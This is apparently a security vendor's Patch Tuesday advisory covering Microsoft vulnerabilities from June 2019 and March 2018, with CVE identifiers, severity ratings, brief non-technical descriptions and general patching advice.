An information disclosure vulnerability exists when the Windows GDI component improperly discloses the contents of its memory. An attacker can exploit this issue by convincing a user to open a specially crafted document, or by convincing a user to visit an untrusted webpage to obtain information to further compromise the user's system.
Windows GDI Information Disclosure Vulnerability (CVE-2019-1010) MS Rating: Important
An information disclosure vulnerability exists when the Windows GDI component improperly discloses the contents of its memory. An attacker can exploit this issue by convincing a user to open a specially crafted document, or by convincing a user to visit an untrusted webpage to obtain information to further compromise the user's system.
Windows GDI Information Disclosure Vulnerability (CVE-2019-1011) MS Rating: Important
An information disclosure vulnerability exists when the Windows GDI component improperly discloses the contents of its memory. An attacker can exploit this issue by convincing a user to open a specially crafted document, or by convincing a user to visit an untrusted webpage to obtain information to further compromise the user's system.
Windows GDI Information Disclosure Vulnerability (CVE-2019-1012) MS Rating: Important
An information disclosure vulnerability exists when the Windows GDI component improperly discloses the contents of its memory. An attacker can exploit this issue by convincing a user to open a specially crafted document, or by convincing a user to visit an untrusted webpage to obtain information to further compromise the user's system.
Windows GDI Information Disclosure Vulnerability (CVE-2019-1013) MS Rating: Important
An information disclosure vulnerability exists when the Windows GDI component improperly discloses the contents of its memory. An attacker can exploit this issue by convincing a user to open a specially crafted document, or by convincing a user to visit an untrusted webpage to obtain information to further compromise the user's system.
Windows GDI Information Disclosure Vulnerability (CVE-2019-1015) MS Rating: Important
An information disclosure vulnerability exists when the Windows GDI component improperly discloses the contents of its memory. An attacker can exploit this issue by convincing a user to open a specially crafted document, or by convincing a user to visit an untrusted webpage to obtain information to further compromise the user's system.
Windows GDI Information Disclosure Vulnerability (CVE-2019-1016) MS Rating: Important
An information disclosure vulnerability exists when the Windows GDI component improperly discloses the contents of its memory. An attacker can exploit this issue by convincing a user to open a specially crafted document, or by convincing a user to visit an untrusted webpage to obtain information to further compromise the user's system.
Windows GDI Information Disclosure Vulnerability (CVE-2019-1046) MS Rating: Important
An information disclosure vulnerability exists when the Windows GDI component improperly discloses the contents of its memory. An attacker can exploit this issue by convincing a user to open a specially crafted document, or by convincing a user to visit an untrusted webpage to obtain information to further compromise the user's system.
Windows GDI Information Disclosure Vulnerability (CVE-2019-1047) MS Rating: Important
An information disclosure vulnerability exists when the Windows GDI component improperly discloses the contents of its memory. An attacker can exploit this issue by convincing a user to open a specially crafted document, or by convincing a user to visit an untrusted webpage to obtain information to further compromise the user's system.
Windows GDI Information Disclosure Vulnerability (CVE-2019-1048) MS Rating: Important
An information disclosure vulnerability exists when the Windows GDI component improperly discloses the contents of its memory. An attacker can exploit this issue by convincing a user to open a specially crafted document, or by convincing a user to visit an untrusted webpage to obtain information to further compromise the user's system.
Windows GDI Information Disclosure Vulnerability (CVE-2019-1049) MS Rating: Important
An information disclosure vulnerability exists when the Windows GDI component improperly discloses the contents of its memory. An attacker can exploit this issue by convincing a user to open a specially crafted document, or by convincing a user to visit an untrusted webpage to obtain information to further compromise the user's system.
Windows GDI Information Disclosure Vulnerability (CVE-2019-1050) MS Rating: Important
An information disclosure vulnerability exists when the Windows GDI component improperly discloses the contents of its memory. An attacker can exploit this issue by convincing a user to open a specially crafted document, or by convincing a user to visit an untrusted webpage to obtain information to further compromise the user's system.
Windows GDI Information Disclosure Vulnerability (CVE-2019-0968) MS Rating: Important
An information disclosure vulnerability exists when the Windows GDI component improperly discloses the contents of its memory. An attacker can exploit this issue by convincing a user to open a specially crafted document, or by convincing a user to visit an untrusted webpage to obtain information to further compromise the user's system.
Windows GDI Information Disclosure Vulnerability (CVE-2019-0977) MS Rating: Important
An information disclosure vulnerability exists when the Windows GDI component improperly discloses the contents of its memory. An attacker can exploit this issue by convincing a user to open a specially crafted document, or by convincing a user to visit an untrusted webpage to obtain information to further compromise the user's system.
Cumulative Security Update for Microsoft Windows
Windows Audio Service Elevation of Privilege Vulnerability (CVE-2019-1021) MS Rating: Important
A privilege escalation exists in Windows Audio Service. An attacker can exploit this issue to run arbitrary code with elevated privileges. To exploit the vulnerability, an attacker requires to run a specially crafted application that could exploit the vulnerability.
Windows Audio Service Elevation of Privilege Vulnerability (CVE-2019-1022) MS Rating: Important
A privilege escalation exists in Windows Audio Service. An attacker can exploit this issue to run arbitrary code with elevated privileges. To exploit the vulnerability, an attacker requires to run a specially crafted application that could exploit the vulnerability.
Windows Audio Service Elevation of Privilege Vulnerability (CVE-2019-1026) MS Rating: Important
A privilege escalation exists in Windows Audio Service. An attacker can exploit this issue to run arbitrary code with elevated privileges. To exploit the vulnerability, an attacker requires to run a specially crafted application that could exploit the vulnerability.
Windows Audio Service Elevation of Privilege Vulnerability (CVE-2019-1027) MS Rating: Important
A privilege escalation exists in Windows Audio Service. An attacker can exploit this issue to run arbitrary code with elevated privileges. To exploit the vulnerability, an attacker requires to run a specially crafted application that could exploit the vulnerability.
Windows Audio Service Elevation of Privilege Vulnerability (CVE-2019-1028) MS Rating: Important
A privilege escalation exists in Windows Audio Service. An attacker can exploit this issue to run arbitrary code with elevated privileges. To exploit the vulnerability, an attacker requires to run a specially crafted application that could exploit the vulnerability.
Windows Audio Service Elevation of Privilege Vulnerability (CVE-2019-1007) MS Rating: Important
A privilege escalation exists in Windows Audio Service. An attacker can exploit this issue to run arbitrary code with elevated privileges. To exploit the vulnerability, an attacker requires to run a specially crafted application that could exploit the vulnerability.
ActiveX Data Objects (ADO) Remote Code Execution Vulnerability (CVE-2019-0888) MS Rating: Critical
A remote code execution vulnerability exists in the way that ActiveX Data Objects (ADO) handle objects in memory. An attacker can exploit this issue to execute arbitrary code with the victim user's privileges. An attacker could craft a website that exploits the vulnerability and then convince a victim user to visit the website.
Microsoft Speech API Remote Code Execution Vulnerability (CVE-2019-0985) MS Rating: Critical
A remote code execution vulnerability exists when the Microsoft Speech API (SAPI) improperly handles text-to-speech (TTS) input. The vulnerability could corrupt memory in a way that enables an attacker to execute arbitrary code in the context of the current user. To exploit the vulnerability, an attacker would need to convince a user to open a specially crafted document containing TTS content invoked through a scripting language.
Microsoft IIS Server Denial of Service Vulnerability (CVE-2019-0941) MS Rating: Important
A denial of service exists in Microsoft IIS Server when the optional request filtering feature improperly handles requests. An attacker can exploit this issue to perform a temporary denial of service against pages configured to use request filtering. To exploit this vulnerability, an attacker could send a specially crafted request to a page utilizing request filtering.
Windows ALPC Elevation of Privilege Vulnerability (CVE-2019-0943) MS Rating: Important
A privilege escalation vulnerability exists when Windows improperly handles calls to Advanced Local Procedure Call (ALPC). An attacker can exploit this issue to run arbitrary code in the security context of the local system. To exploit this vulnerability, an attacker would first have to log on to the system. An attacker could then run a specially crafted application that could exploit the vulnerability and take control over an affected system.
Windows Event Viewer Information Disclosure Vulnerability (CVE-2019-0948) MS Rating: Moderate
An information disclosure vulnerability exists in the Windows Event Viewer (eventvwr.msc) when it improperly parses XML input containing a reference to an external entity. An attacker can exploit this issue to read arbitrary files via an XML external entity (XXE) declaration. To exploit the vulnerability, an attacker could create a file containing specially crafted XML content and convince an authenticated user to import the file.
Windows Common Log File System Driver Elevation of Privilege Vulnerability (CVE-2019-0959) MS Rating: Important
A privilege escalation vulnerability exists when the Windows Common Log File System (CLFS) driver improperly handles objects in memory. An attacker can exploit this issue to run processes in an elevated context. To exploit the vulnerability, an attacker would first have to log on to the system, and then run a specially crafted application to take control over the affected system.
Local Security Authority Subsystem Service Denial of Service Vulnerability (CVE-2019-0972) MS Rating: Important
This security update corrects a denial of service in the Local Security Authority Subsystem Service (LSASS) caused when an authenticated attacker sends a specially crafted authentication request. A remote attacker who successfully exploited this vulnerability could cause a denial of service on the target system's LSASS service, which triggers an automatic reboot of the system.
Windows Installer Elevation of Privilege Vulnerability (CVE-2019-0973) MS Rating: Important
A privilege escalation vulnerability exists in the Windows Installer when the Windows Installer fails to properly sanitize input leading to an insecure library loading behavior. A locally authenticated attacker could run arbitrary code with elevated system privileges.
Windows Storage Service Elevation of Privilege Vulnerability (CVE-2019-0983) MS Rating: Important
A privilege escalation vulnerability exists when the Storage Service improperly handles file operations. An attacker can exploit this issue to gain elevated privileges on the victim system. To exploit the vulnerability, an attacker would first have to gain execution on the victim system, then run a specially crafted application.
Windows Common Log File System Driver Elevation of Privilege Vulnerability (CVE-2019-0984) MS Rating: Important
A privilege escalation vulnerability exists when the Windows Common Log File System (CLFS) driver improperly handles objects in memory. An attacker can exploit this issue to run processes in an elevated context. To exploit the vulnerability, an attacker would first have to log on to the system, and then run a specially crafted application to take control over the affected system
Windows User Profile Service Elevation of Privilege Vulnerability (CVE-2019-0986) MS Rating: Important
A privilege escalation vulnerability exists when the Windows User Profile Service (ProfSvc) improperly handles symlinks. An attacker can exploit this issue to delete files and folders in an elevated context. To exploit this vulnerability, an attacker would first have to log on to the system, and then run a specially crafted application that could exploit the vulnerability and delete files or folders of their choosing.
Windows Storage Service Elevation of Privilege Vulnerability (CVE-2019-0998) MS Rating: Important
A privilege escalation vulnerability exists when the Storage Service improperly handles file operations. An attacker can exploit this issue to gain elevated privileges on the victim system. To exploit the vulnerability, an attacker would first have to gain execution on the victim system, then run a specially crafted application.
DirectX Elevation of Privilege Vulnerability (CVE-2019-1018) MS Rating: Important
A privilege escalation vulnerability exists when DirectX improperly handles objects in memory. An attacker can exploit this issue to run arbitrary code in kernel mode. To exploit this vulnerability, an attacker would first have to log on to the system. An attacker could then run a specially crafted application that could exploit the vulnerability and take control of an affected system.
Microsoft Windows Security Feature Bypass Vulnerability (CVE-2019-1019) MS Rating: Important
A security feature bypass vulnerability exists where a NETLOGON message is able to obtain the session key and sign messages. To exploit this vulnerability, an attacker could send a specially crafted authentication request. An attacker can exploit this issue to access another machine using the original user privileges.
Windows Denial of Service Vulnerability (CVE-2019-1025) MS Rating: Important
A denial of service vulnerability exists when Windows improperly handles objects in memory. An attacker can exploit this issue to cause a target system to stop responding. To exploit this vulnerability, an attacker would have to log on to an affected system and run a specially crafted application or to convince a user to open a specific file on a network share.
Windows NTLM Tampering Vulnerability (CVE-2019-1040) MS Rating: Important
A tampering vulnerability exists in Microsoft Windows when a man-in-the-middle attacker is able to successfully bypass the NTLM MIC (Message Integrity Check) protection. An attacker can exploit this issue to gain the ability to downgrade NTLM security features. To exploit this vulnerability, the attacker would need to tamper with the NTLM exchange. The attacker could then modify flags of the NTLM packet without invalidating the signature.
Comctl32 Remote Code Execution Vulnerability (CVE-2019-1043) MS Rating: Important
A remote code execution vulnerability exists in the way that comctl32.dll handles objects in memory. The vulnerability could corrupt memory in such a way that an attacker could execute arbitrary code in the context of the current user. An attacker can exploit this issue to gain the same user rights as the current user. If the current user is logged on with administrative user rights, the attacker could take control of an affected system.
Windows Network File System Elevation of Privilege Vulnerability (CVE-2019-1045) MS Rating: Important
A privilege escalation vulnerability exists in the way that the Windows Network File System (NFS) handles objects in memory. An attacker can exploit this issue to execute code with elevated permissions. To exploit the vulnerability, a locally authenticated attacker could run a specially crafted application.
Windows Shell Elevation of Privilege Vulnerability (CVE-2019-1053) MS Rating: Important
A privilege escalation vulnerability exists when the Windows Shell fails to validate folder shortcuts. An attacker can exploit this issue to elevate privileges by escaping a sandbox. To exploit this vulnerability, an attacker would require unprivileged execution on the victim system.
Windows Elevation of Privilege Vulnerability (CVE-2019-1064) MS Rating: Important
A privilege escalation vulnerability exists when Windows AppX Deployment Service (AppXSVC) improperly handles hard links. An attacker can exploit this issue to run processes in an elevated context. To exploit this vulnerability, an attacker would first have to log on to the system. An attacker could then run a specially crafted application that could exploit the vulnerability and take control of an affected system.
Task Scheduler Elevation of Privilege Vulnerability (CVE-2019-1069) MS Rating: Important
A privilege escalation vulnerability exists in the way the Task Scheduler Service validates certain file operations. An attacker can exploit this issue to gain elevated privileges on a victim system. To exploit the vulnerability, an attacker would require unprivileged code execution on a victim system.
Security Update for Skype for Business and Lync Server
Skype for Business and Lync Server Denial of Service Vulnerability (CVE-2019-1029) MS Rating: Important
A denial of service vulnerability exists in Skype for Business. An attacker can exploit this issue to cause Skype for Business to stop responding. Note that the denial of service would not allow an attacker to execute code or to elevate the attacker's user rights.
Security Update for Azure
Azure DevOps Server Spoofing Vulnerability (CVE-2019-0996) MS Rating: Important
A spoofing vulnerability exists in Azure DevOps Server when it improperly handles requests to authorize applications, resulting in a cross-site request forgery. An attacker can exploit this issue to bypass OAuth protections and register an application on behalf of the targeted user. To exploit this vulnerability, an attacker would need to create a page specifically designed to cause a cross-site request. The attacker would then need to convince a targeted user to click a link to the malicious page.
More information is available on Symantec's free Security Center portal and to our customers through the DeepSight Threat Management System.
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Microsoft Patch Tuesday – March 2018
This month the vendor has patched 74 vulnerabilities, 15 of which are rated Critical.
As always, customers are advised to follow these security best practices:
Install vendor patches as soon as they are available.
Run all software with the least privileges required while still maintaining functionality.
Avoid handling files from unknown or questionable sources.
Never visit sites of unknown or questionable integrity.
Block external access at the network perimeter to all key systems unless specific access is required.
Microsoft's summary of the March 2018 releases can be found here:
https://portal.msrc.microsoft.com/en-us/security-guidance
This month's update covers vulnerabilities in:
Internet Explorer
Microsoft Edge
Microsoft Office
ASP.NET Core
Microsoft Exchange Server
.NET Core
PowerShell Core
Microsoft Hyper-V
Microsoft Windows
ChakraCore
The following is a breakdown of the issues being addressed this month:
Cumulative Security Update for Microsoft Browsers
Chakra Scripting Engine Memory Corruption Vulnerability (CVE-2018-0872) MS Rating: Critical
A remote code execution vulnerability exists in the way that the Chakra scripting engine handles objects in memory in Microsoft Edge. This vulnerability may corrupt memory in such a way that an attacker could execute arbitrary code in the context of the current user.
Chakra Scripting Engine Memory Corruption Vulnerability (CVE-2018-0874) MS Rating: Critical
A remote code execution vulnerability exists in the way that the Chakra scripting engine handles objects in memory in Microsoft Edge. This vulnerability may corrupt memory in such a way that an attacker could execute arbitrary code in the context of the current user.
Scripting Engine Memory Corruption Vulnerability (CVE-2018-0876) MS Rating: Critical
A remote code execution vulnerability exists in the way that the scripting engine handles objects in memory in Microsoft Edge. This vulnerability may corrupt memory in such a way that an attacker could execute arbitrary code in the context of the current user.
Chakra Scripting Engine Memory Corruption Vulnerability (CVE-2018-0930) MS Rating: Critical
A remote code execution vulnerability exists in the way that the Chakra scripting engine handles objects in memory in Microsoft Edge. This vulnerability may corrupt memory in such a way that an attacker could execute arbitrary code in the context of the current user.
Chakra Scripting Engine Memory Corruption Vulnerability (CVE-2018-0931) MS Rating: Critical
A remote code execution vulnerability exists in the way that the Chakra scripting engine handles objects in memory in Microsoft Edge. This vulnerability may corrupt memory in such a way that an attacker could execute arbitrary code in the context of the current user.
Internet Explorer Information Disclosure Vulnerability (CVE-2018-0932) MS Rating: Critical
An information disclosure vulnerability exists when affected Microsoft browsers improperly handle objects in memory. An attacker can exploit this issue to obtain sensitive information to further compromise the user's system.
Chakra Scripting Engine Memory Corruption Vulnerability (CVE-2018-0933) MS Rating: Critical
A remote code execution vulnerability exists in the way that the Chakra scripting engine handles objects in memory in Microsoft Edge. This vulnerability may corrupt memory in such a way that an attacker could execute arbitrary code in the context of the current user.
Chakra Scripting Engine Memory Corruption Vulnerability (CVE-2018-0934) MS Rating: Critical
A remote code execution vulnerability exists in the way that the Chakra scripting engine handles objects in memory in Microsoft Edge. This vulnerability may corrupt memory in such a way that an attacker could execute arbitrary code in the context of the current user.
Scripting Engine Memory Corruption Vulnerability (CVE-2018-0889) MS Rating: Critical
A remote code execution vulnerability exists in the way that the scripting engine handles objects in memory in Internet Explorer. This vulnerability may corrupt memory in such a way that an attacker could execute arbitrary code in the context of the current user.
Scripting Engine Memory Corruption Vulnerability (CVE-2018-0893) MS Rating: Critical
A remote code execution vulnerability exists in the way that the scripting engine handles objects in memory in Microsoft Edge. This vulnerability may corrupt memory in such a way that an attacker could execute arbitrary code in the context of the current user.
Scripting Engine Memory Corruption Vulnerability (CVE-2018-0925) MS Rating: Critical
A remote code execution vulnerability exists in the way that the ChakraCore scripting engine handles objects in memory. This vulnerability may corrupt memory in such a way that an attacker could execute arbitrary code in the context of the current user.
Chakra Scripting Engine Memory Corruption Vulnerability (CVE-2018-0936) MS Rating: Critical
A remote code execution vulnerability exists in the way that the Chakra scripting engine handles objects in memory in Microsoft Edge. This vulnerability may corrupt memory in such a way that an attacker could execute arbitrary code in the context of the current user.
Chakra Scripting Engine Memory Corruption Vulnerability (CVE-2018-0937) MS Rating: Critical
A remote code execution vulnerability exists in the way that the Chakra scripting engine handles objects in memory in Microsoft Edge. This vulnerability may corrupt memory in such a way that an attacker could execute arbitrary code in the context of the current user.
Microsoft Edge Information Disclosure Vulnerability (CVE-2018-0939) MS Rating: Critical
An information disclosure vulnerability exists when the scripting engine does not properly handle objects in memory in Microsoft Edge. An attacker can exploit this issue to obtain sensitive information to further compromise the user's system.
Chakra Scripting Engine Memory Corruption Vulnerability (CVE-2018-0873) MS Rating: Important
A remote code execution vulnerability exists in the way that the Chakra scripting engine handles objects in memory in Microsoft Edge. This vulnerability may corrupt memory in such a way that an attacker could execute arbitrary code in the context of the current user.
Microsoft Edge Information Disclosure Vulnerability (CVE-2018-0879) MS Rating: Important
An information disclosure vulnerability exists when Microsoft Edge improperly handles objects in memory. An attacker can exploit this issue to obtain sensitive information to further compromise the user's system.
Microsoft Browser Information Disclosure Vulnerability (CVE-2018-0891) MS Rating: Important
An information disclosure vulnerability exists when affected Microsoft browsers improperly handle objects in memory. An attacker can exploit this issue to obtain sensitive information to further compromise the user's system.
Microsoft Browser Information Disclosure Vulnerability (CVE-2018-0927) MS Rating: Important
An information disclosure vulnerability exists when affected Microsoft browsers improperly handle objects in memory. An attacker can exploit this issue to obtain sensitive information to further compromise the user's system.
Internet Explorer Information Disclosure Vulnerability (CVE-2018-0929) MS Rating: Important
An information disclosure vulnerability exists when Internet Explorer improperly handles objects in memory. An attacker can exploit this issue to obtain sensitive information to further compromise the user's system.
Internet Explorer Memory Corruption Vulnerability (CVE-2018-0935) MS Rating: Important
A remote code execution vulnerability exists in the way that the scripting engine handles objects in memory in Internet Explorer. This vulnerability may corrupt memory in such a way that an attacker could execute arbitrary code in the context of the current user.
Internet Explorer Elevation of Privilege Vulnerability (CVE-2018-0942) MS Rating: Important
A privilege escalation vulnerability exists when Internet Explorer fails a check, allowing sandbox escape. An attacker who successfully exploited the vulnerability could use the sandbox escape to elevate privileges on an affected system.
Cumulative Security Update for Microsoft Office
Microsoft Sharepoint Elevation of Privilege Vulnerability (CVE-2018-0947) MS Rating: Critical
A privilege escalation vulnerability exists when Microsoft SharePoint Server does not properly verify tenant permissions. An authenticated attacker could exploit the vulnerability by sending a specially crafted request to an affected SharePoint server. affected SharePoint server.
Microsoft Access Remote Code Execution Vulnerability (CVE-2018-0903) MS Rating: Important
A remote code execution vulnerability exists in Microsoft Access software when the software fails to properly handle objects in memory. An attacker who successfully exploited the vulnerability could run arbitrary code in the context of the current user.
Microsoft Office Excel Security Bypass (CVE-2018-0907) MS Rating: Important
A security bypass vulnerability exists in Microsoft Office software by not enforcing macro settings on an Excel document. The Security Bypass by itself does not allow arbitrary code execution.
Microsoft SharePoint Elevation of Privilege Vulnerability (CVE-2018-0909) MS Rating: Important
A privilege escalation vulnerability exists when Microsoft SharePoint Server does not properly sanitize a specially crafted web request to an affected SharePoint server. An authenticated attacker could exploit the vulnerability by sending a specially crafted request to an affected SharePoint server.
Microsoft SharePoint Elevation of Privilege Vulnerability (CVE-2018-0910) MS Rating: Important
A privilege escalation vulnerability exists when Microsoft SharePoint Server does not properly sanitize a specially crafted web request to an affected SharePoint server. An authenticated attacker could exploit the vulnerability by sending a specially crafted request to an affected SharePoint server.
Microsoft SharePoint Elevation of Privilege Vulnerability (CVE-2018-0911) MS Rating: Important
A privilege escalation vulnerability exists when Microsoft SharePoint Server does not properly sanitize a specially crafted web request to an affected SharePoint server. An authenticated attacker could exploit the vulnerability by sending a specially crafted request to an affected SharePoint server.
Microsoft SharePoint Elevation of Privilege Vulnerability (CVE-2018-0912) MS Rating: Important
A privilege escalation vulnerability exists when Microsoft SharePoint Server does not properly sanitize a specially crafted web request to an affected SharePoint server. An authenticated attacker could exploit the vulnerability by sending a specially crafted request to an affected SharePoint server.
Microsoft SharePoint Elevation of Privilege Vulnerability (CVE-2018-0913) MS Rating: Important
A privilege escalation vulnerability exists when Microsoft SharePoint Server does not properly sanitize a specially crafted web request to an affected SharePoint server. An authenticated attacker could exploit the vulnerability by sending a specially crafted request to an affected SharePoint server.
Microsoft SharePoint Elevation of Privilege Vulnerability (CVE-2018-0914) MS Rating: Important
A privilege escalation vulnerability exists when Microsoft SharePoint Server does not properly sanitize a specially crafted web request to an affected SharePoint server. An authenticated attacker could exploit the vulnerability by sending a specially crafted request to an affected SharePoint server.
Microsoft SharePoint Elevation of Privilege Vulnerability (CVE-2018-0915) MS Rating: Important
A privilege escalation vulnerability exists when Microsoft SharePoint Server does not properly sanitize a specially crafted web request to an affected SharePoint server. An authenticated attacker could exploit the vulnerability by sending a specially crafted request to an affected SharePoint server.
Microsoft SharePoint Elevation of Privilege Vulnerability (CVE-2018-0916) MS Rating: Important
A privilege escalation vulnerability exists when Microsoft SharePoint Server does not properly sanitize a specially crafted web request to an affected SharePoint server. An authenticated attacker could exploit the vulnerability by sending a specially crafted request to an affected SharePoint server.
Microsoft SharePoint Elevation of Privilege Vulnerability (CVE-2018-0917) MS Rating: Important
A privilege escalation vulnerability exists when Microsoft SharePoint Server does not properly sanitize a specially crafted web request to an affected SharePoint server. An authenticated attacker could exploit the vulnerability by sending a specially crafted request to an affected SharePoint server.
Microsoft Office Information Disclosure Vulnerability (CVE-2018-0919) MS Rating: Important
An information disclosure vulnerability exists when Microsoft Office software reads out of bound memory due to an uninitialized variable, which could disclose the contents of memory. An attacker who successfully exploited the vulnerability could view out of bound memory.
Microsoft SharePoint Elevation of Privilege Vulnerability (CVE-2018-0921) MS Rating: Important
A privilege escalation vulnerability exists when Microsoft SharePoint Server does not properly sanitize a specially crafted web request to an affected SharePoint server. An authenticated attacker could exploit the vulnerability by sending a specially crafted request to an affected SharePoint server. affected SharePoint server.
Microsoft Office Memory Corruption Vulnerability (CVE-2018-0922) MS Rating: Important
A remote code execution vulnerability exists in Microsoft Office software when the Office software fails to properly handle objects in memory. An attacker who successfully exploited the vulnerability could run arbitrary code in the context of the current user.
Microsoft SharePoint Elevation of Privilege Vulnerability (CVE-2018-0923) MS Rating: Important
A privilege escalation vulnerability exists when Microsoft SharePoint Server does not properly sanitize a specially crafted web request to an affected SharePoint server. An authenticated attacker could exploit the vulnerability by sending a specially crafted request to an affected SharePoint server. affected SharePoint server.
Microsoft Exchange Information Disclosure Vulnerability (CVE-2018-0941) MS Rating: Important
An information disclosure vulnerability exists in the way that Microsoft Exchange Server handles importing data. If an impacted user is using Microsoft Exchange Outlook Web Access (OWA).
Microsoft SharePoint Elevation of Privilege Vulnerability (CVE-2018-0944) MS Rating: Important
A privilege escalation vulnerability exists when Microsoft SharePoint Server does not properly sanitize a specially crafted web request to an affected SharePoint server. An authenticated attacker could exploit the vulnerability by sending a specially crafted request to an affected SharePoint server. affected SharePoint server.
Microsoft Exchange Elevation of Privilege Vulnerability (CVE-2018-0940) MS Rating: Moderate
A privilege escalation vulnerability exists when Microsoft Exchange Outlook Web Access (OWA) fails to properly sanitize links presented to users.
Microsoft Exchange Information Disclosure Vulnerability (CVE-2018-0924) MS Rating: Low
An information disclosure vulnerability exists in the way that Microsoft Exchange Server handles URL redirects. If an impacted user is using Microsoft Exchange Outlook Web Access (OWA) Light.
Cumulative Security Update for Microsoft ASP.NET Core
ASP.NET Core Elevation Of Privilege Vulnerability (CVE-2018-0787) MS Rating: Important
A privilege escalation vulnerability exists when a Kestrel web application fails to validate web requests. An attacker who successfully exploited this vulnerability could perform HTML injection attacks.
ASP.NET Core Denial Of Service Vulnerability (CVE-2018-0808) MS Rating: Important
A denial of service vulnerability exists when ASP. NET Core improperly handles web requests. An attacker who successfully exploited this vulnerability could cause a denial of service against an ASP.NET Core web application.
.NET Core Denial of Service Vulnerability (CVE-2018-0875) MS Rating: Important
A denial of service vulnerability exists in the way that .NET Core handles specially crafted requests, causing a hash collision.
Cumulative Security Update for Microsoft Hyper-V
Windows Hyper-V Denial of Service Vulnerability (CVE-2018-0885) MS Rating: Important
A denial of service vulnerability exists when Microsoft Hyper-V Network Switch on a host server fails to properly validate input from a privileged user on a guest operating system. An attacker who successfully exploited the vulnerability could cause the host server to crash.
Hyper-V Information Disclosure Vulnerability (CVE-2018-0888) MS Rating: Important
An information disclosure vulnerability exists when Windows Hyper-V on a host operating system fails to properly validate input from an authenticated user on a guest operating system.
Cumulative Security Update for Microsoft Windows Kernel
Windows Kernel Information Disclosure Vulnerability (CVE-2018-0811) MS Rating: Important
An information disclosure vulnerability exists when the Windows kernel improperly initializes objects in memory. To exploit this vulnerability, an authenticated attacker could run a specially crafted application.
Windows Kernel Information Disclosure Vulnerability (CVE-2018-0813) MS Rating: Important
An information disclosure vulnerability exists when the Windows kernel improperly initializes objects in memory. To exploit this vulnerability, an authenticated attacker could run a specially crafted application.
Windows Kernel Information Disclosure Vulnerability (CVE-2018-0814) MS Rating: Important
An information disclosure vulnerability exists when the Windows kernel improperly initializes objects in memory. To exploit this vulnerability, an authenticated attacker could run a specially crafted application.
Windows Kernel Information Disclosure Vulnerability (CVE-2018-0894) MS Rating: Important
An information disclosure vulnerability exists in the Windows kernel that could allow an attacker to retrieve information that could lead to a Kernel Address Space Layout Randomization (ASLR) bypass. An attacker who successfully exploited the vulnerability could retrieve the memory address of a kernel object.
Windows Kernel Information Disclosure Vulnerability (CVE-2018-0895) MS Rating: Important
An information disclosure vulnerability exists in the Windows kernel that could allow an attacker to retrieve information that could lead to a Kernel Address Space Layout Randomization (ASLR) bypass. An attacker who successfully exploited the vulnerability could retrieve the memory address of a kernel object.
Windows Kernel Information Disclosure Vulnerability (CVE-2018-0896) MS Rating: Important
An information disclosure vulnerability exists in the Windows kernel that could allow an attacker to retrieve information that could lead to a Kernel Address Space Layout Randomization (ASLR) bypass. An attacker who successfully exploited the vulnerability could retrieve the memory address of a kernel object.
Windows Kernel Information Disclosure Vulnerability (CVE-2018-0897) MS Rating: Important
An information disclosure vulnerability exists in the Windows kernel that could allow an attacker to retrieve information that could lead to a Kernel Address Space Layout Randomization (ASLR) bypass. An attacker who successfully exploited the vulnerability could retrieve the memory address of a kernel object.
Windows Kernel Information Disclosure Vulnerability (CVE-2018-0898) MS Rating: Important
An information disclosure vulnerability exists in the Windows kernel that could allow an attacker to retrieve information that could lead to a Kernel Address Space Layout Randomization (ASLR) bypass. An attacker who successfully exploited the vulnerability could retrieve the memory address of a kernel object.
Windows Kernel Information Disclosure Vulnerability (CVE-2018-0899) MS Rating: Important
An information disclosure vulnerability exists in the Windows kernel that could allow an attacker to retrieve information that could lead to a Kernel Address Space Layout Randomization (ASLR) bypass. An attacker who successfully exploited the vulnerability could retrieve the memory address of a kernel object.
Windows Kernel Information Disclosure Vulnerability (CVE-2018-0900) MS Rating: Important
An information disclosure vulnerability exists in the Windows kernel that could allow an attacker to retrieve information that could lead to a Kernel Address Space Layout Randomization (ASLR) bypass. An attacker who successfully exploited the vulnerability could retrieve the memory address of a kernel object.
Windows Kernel Information Disclosure Vulnerability (CVE-2018-0901) MS Rating: Important
An information disclosure vulnerability exists in the Windows kernel that could allow an attacker to retrieve information that could lead to a Kernel Address Space Layout Randomization (ASLR) bypass. An attacker who successfully exploited the vulnerability could retrieve the memory address of a kernel object.
Windows Kernel Information Disclosure Vulnerability (CVE-2018-0904) MS Rating: Important
An information disclosure vulnerability exists in the Windows kernel that could allow an attacker to retrieve information that could lead to a Kernel Address Space Layout Randomization (ASLR) bypass. An attacker who successfully exploited the vulnerability could retrieve the memory address of a kernel object.
Windows Kernel Information Disclosure Vulnerability (CVE-2018-0926) MS Rating: Important
An information disclosure vulnerability exists when the Windows kernel improperly initializes objects in memory. To exploit this vulnerability, an authenticated attacker could run a specially crafted application.
Win32k Elevation of Privilege Vulnerability (CVE-2018-0977) MS Rating: Important
A privilege escalation vulnerability exists in Windows when the Windows kernel-mode driver fails to properly handle objects in memory. An attacker who successfully exploited this vulnerability could run arbitrary code in kernel mode.
Cumulative Security Update for Microsoft Windows
Windows GDI Elevation of Privilege Vulnerability (CVE-2018-0815) MS Rating: Important
A privilege escalation vulnerability exists in the way that the Windows Graphics Device Interface (GDI) handles objects in memory. An attacker who successfully exploited this vulnerability could run arbitrary code in kernel mode.
Windows GDI Elevation of Privilege Vulnerability (CVE-2018-0816) MS Rating: Important
A privilege escalation vulnerability exists in the way that the Windows Graphics Device Interface (GDI) handles objects in memory. An attacker who successfully exploited this vulnerability could run arbitrary code in kernel mode.
Windows GDI Elevation of Privilege Vulnerability (CVE-2018-0817) MS Rating: Important
A privilege escalation vulnerability exists in the way that the Windows Graphics Device Interface (GDI) handles objects in memory. An attacker who successfully exploited this vulnerability could run arbitrary code in kernel mode.
Windows Installer Elevation of Privilege Vulnerability (CVE-2018-0868) MS Rating: Important
A privilege escalation vulnerability exists in the Windows Installer when the Windows Installer fails to properly sanitize input leading to an insecure library loading behavior. A locally authenticated attacker could run arbitrary code with elevated system privileges.
Windows Desktop Bridge VFS Elevation of Privilege Vulnerability (CVE-2018-0877) MS Rating: Important
A privilege escalation vulnerability exists in Windows when the Desktop Bridge VFS does not take into account user/kernel mode when managing file paths. An attacker who successfully exploited this vulnerability could run arbitrary code in kernel mode.
Windows Remote Assistance Information Disclosure Vulnerability (CVE-2018-0878) MS Rating: Important
An information disclosure vulnerability exists when Windows Remote Assistance incorrectly processes XML External Entities (XXE).
Windows Desktop Bridge Elevation of Privilege Vulnerability (CVE-2018-0880) MS Rating: Important
A privilege escalation vulnerability exists in Windows when Desktop Bridge does not properly manage the virtual registry. An attacker who successfully exploited this vulnerability could run arbitrary code in kernel mode.
